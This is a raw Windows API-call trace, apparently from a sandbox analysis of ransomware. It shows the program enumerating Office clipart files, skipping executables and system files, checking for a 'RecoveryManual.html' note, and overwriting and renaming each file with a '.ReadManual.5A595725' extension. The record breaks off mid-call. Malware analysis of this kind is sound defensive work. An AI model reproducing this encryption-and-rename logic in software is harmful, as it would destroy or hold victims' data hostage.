lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237759.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237759.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237759.WMF.ReadManual.5A595725" [0268.911] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237759.WMF.ReadManual.5A595725") returned 87 [0268.911] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38957947557) returned 1 [0268.911] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237759.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237759.wmf")) returned 0x20 [0268.911] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237759.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237759.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.911] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=20926) returned 1 [0268.911] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x51be, lpName=0x0) returned 0x184 [0268.911] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.912] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.912] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.914] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.914] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x51be) returned 0x2f0000 [0268.914] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.914] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38958320527) returned 1 [0268.914] CloseHandle (hObject=0x184) returned 1 [0268.915] SetSecurityInfo () returned 0x57 [0268.915] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.915] CloseHandle (hObject=0x194) returned 1 [0268.915] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x59a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0238333.WMF", cAlternateFileName="")) returned 1 [0268.915] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0238333.WMF" | out: lpString1="J0238333.WMF") returned="J0238333.WMF" [0268.915] lstrcmpiW (lpString1="J0238333.WMF", lpString2="RecoveryManual.html") returned -1 [0268.915] StrStrIW (lpFirst="J0238333.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.915] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.915] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.915] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.915] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.915] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.915] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.915] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.915] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.915] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.915] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.915] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.915] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.915] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.915] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.915] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238333.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238333.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238333.WMF" [0268.915] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238333.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238333.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238333.WMF.ReadManual.5A595725" [0268.915] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238333.WMF.ReadManual.5A595725") returned 87 [0268.915] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38958416301) returned 1 [0268.915] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238333.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238333.wmf")) returned 0x20 [0268.916] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238333.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238333.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.916] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=22944) returned 1 [0268.916] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x59a0, lpName=0x0) returned 0x184 [0268.916] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.917] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.917] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.919] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.919] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x59a0) returned 0x2f0000 [0268.919] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.919] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38958792479) returned 1 [0268.919] CloseHandle (hObject=0x184) returned 1 [0268.919] SetSecurityInfo () returned 0x57 [0268.919] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.919] CloseHandle (hObject=0x194) returned 1 [0268.919] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1334, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0238927.WMF", cAlternateFileName="")) returned 1 [0268.920] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0238927.WMF" | out: lpString1="J0238927.WMF") returned="J0238927.WMF" [0268.920] lstrcmpiW (lpString1="J0238927.WMF", lpString2="RecoveryManual.html") returned -1 [0268.920] StrStrIW (lpFirst="J0238927.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.920] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.920] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.920] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.920] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.920] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.920] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.920] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.920] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.920] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.920] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.920] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.920] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.920] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.920] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.920] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238927.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238927.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238927.WMF" [0268.920] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238927.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238927.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238927.WMF.ReadManual.5A595725" [0268.920] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238927.WMF.ReadManual.5A595725") returned 87 [0268.920] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38958890867) returned 1 [0268.920] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238927.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238927.wmf")) returned 0x20 [0268.920] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238927.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238927.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.921] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4916) returned 1 [0268.921] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1334, lpName=0x0) returned 0x184 [0268.921] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.922] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.922] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.923] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.923] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1334) returned 0x2f0000 [0268.924] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.924] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38959236559) returned 1 [0268.924] CloseHandle (hObject=0x184) returned 1 [0268.924] SetSecurityInfo () returned 0x57 [0268.924] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.924] CloseHandle (hObject=0x194) returned 1 [0268.924] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d3c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0238959.WMF", cAlternateFileName="")) returned 1 [0268.924] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0238959.WMF" | out: lpString1="J0238959.WMF") returned="J0238959.WMF" [0268.924] lstrcmpiW (lpString1="J0238959.WMF", lpString2="RecoveryManual.html") returned -1 [0268.924] StrStrIW (lpFirst="J0238959.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.924] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.924] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.924] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.924] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.924] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.924] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.924] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.924] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.924] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.924] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.924] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.924] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.924] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.924] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.924] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238959.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238959.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238959.WMF" [0268.924] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238959.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238959.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238959.WMF.ReadManual.5A595725" [0268.924] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238959.WMF.ReadManual.5A595725") returned 87 [0268.925] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38959331771) returned 1 [0268.925] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238959.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238959.wmf")) returned 0x20 [0268.925] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238959.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238959.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.925] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7484) returned 1 [0268.925] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1d3c, lpName=0x0) returned 0x184 [0268.925] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.926] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.926] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.928] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.928] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1d3c) returned 0x2f0000 [0268.928] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.928] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38959710233) returned 1 [0268.928] CloseHandle (hObject=0x184) returned 1 [0268.928] SetSecurityInfo () returned 0x57 [0268.929] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.929] CloseHandle (hObject=0x194) returned 1 [0268.929] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x13b8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0238983.WMF", cAlternateFileName="")) returned 1 [0268.929] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0238983.WMF" | out: lpString1="J0238983.WMF") returned="J0238983.WMF" [0268.929] lstrcmpiW (lpString1="J0238983.WMF", lpString2="RecoveryManual.html") returned -1 [0268.929] StrStrIW (lpFirst="J0238983.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.929] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.929] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.929] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.929] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.929] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.929] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.929] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.929] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.929] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.929] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.929] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.929] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.929] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.929] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.929] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238983.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238983.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238983.WMF" [0268.929] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238983.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238983.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238983.WMF.ReadManual.5A595725" [0268.929] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238983.WMF.ReadManual.5A595725") returned 87 [0268.929] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38959812502) returned 1 [0268.929] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238983.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238983.wmf")) returned 0x20 [0268.930] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238983.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238983.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.930] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5048) returned 1 [0268.930] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13b8, lpName=0x0) returned 0x184 [0268.930] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.931] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.931] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.932] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.932] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13b8) returned 0x2f0000 [0268.932] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.933] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38960134055) returned 1 [0268.933] CloseHandle (hObject=0x184) returned 1 [0268.933] SetSecurityInfo () returned 0x57 [0268.933] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.933] CloseHandle (hObject=0x194) returned 1 [0268.933] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1284, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0239057.WMF", cAlternateFileName="")) returned 1 [0268.933] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0239057.WMF" | out: lpString1="J0239057.WMF") returned="J0239057.WMF" [0268.933] lstrcmpiW (lpString1="J0239057.WMF", lpString2="RecoveryManual.html") returned -1 [0268.933] StrStrIW (lpFirst="J0239057.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.933] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.933] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.933] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.933] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.933] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.933] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.933] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.933] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.933] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.933] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.933] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.933] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.933] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.933] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.933] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239057.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239057.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239057.WMF" [0268.933] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239057.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239057.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239057.WMF.ReadManual.5A595725" [0268.933] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239057.WMF.ReadManual.5A595725") returned 87 [0268.933] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38960228132) returned 1 [0268.934] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239057.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239057.wmf")) returned 0x20 [0268.934] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239057.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239057.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.934] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4740) returned 1 [0268.934] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1284, lpName=0x0) returned 0x184 [0268.934] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.935] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 